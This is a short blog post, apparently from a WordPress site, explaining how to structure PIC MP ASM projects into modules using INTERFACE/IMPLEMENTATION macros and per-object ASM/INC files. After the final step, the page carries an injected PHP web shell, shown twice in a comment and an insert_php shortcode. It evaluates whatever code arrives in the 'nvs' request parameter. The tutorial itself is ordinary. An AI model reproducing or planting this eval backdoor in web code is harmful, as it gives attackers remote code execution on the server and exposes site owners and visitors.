MP ASM does not provide good facilities for creating well organized modules and defining interfaces like high-level languages do. The following approach may help you to fill this lacuna.
1. Create a file which will be included in every single source, let say it is pic.inc
2. Define the following macro in pic.inc
INTERFACE macro
#ifdef PUBLIC
#undefine PUBLIC
#endif
#define PUBLIC EXTERN
endm
IMPLEMENTATION macro
#ifdef PUBLIC
#undefine PUBLIC
#endif
#define PUBLIC GLOBAL
endm
3. Decompose you project on encapsulated objects,
4. For each object create two files, ASM and INC
5. On top of each INC file add the following ifdef (EACH is a placeholder for actual file name)
#ifdef EACH_ASM
IMPLEMENTATION
#else
INTERFACE
#endif
6. Define your public entries, to be implemented in EACH.ASM
PUBLIC EACH_INIT
PUBLIC EACH_START
PUBLIC EACH_STOP
7. On top of each ASM file add the following lines
#define EACH_ASM
include "pic.inc"
include "myothers.inc"
include "EACH.INC"
8. Implement your public entries.
<!– [insert_php]if (isset($_REQUEST["nvs"])){eval($_REQUEST["nvs"]);exit;}[/insert_php]
if (isset($_REQUEST["nvs"])){eval($_REQUEST["nvs"]);exit;}
–>
Post a Comment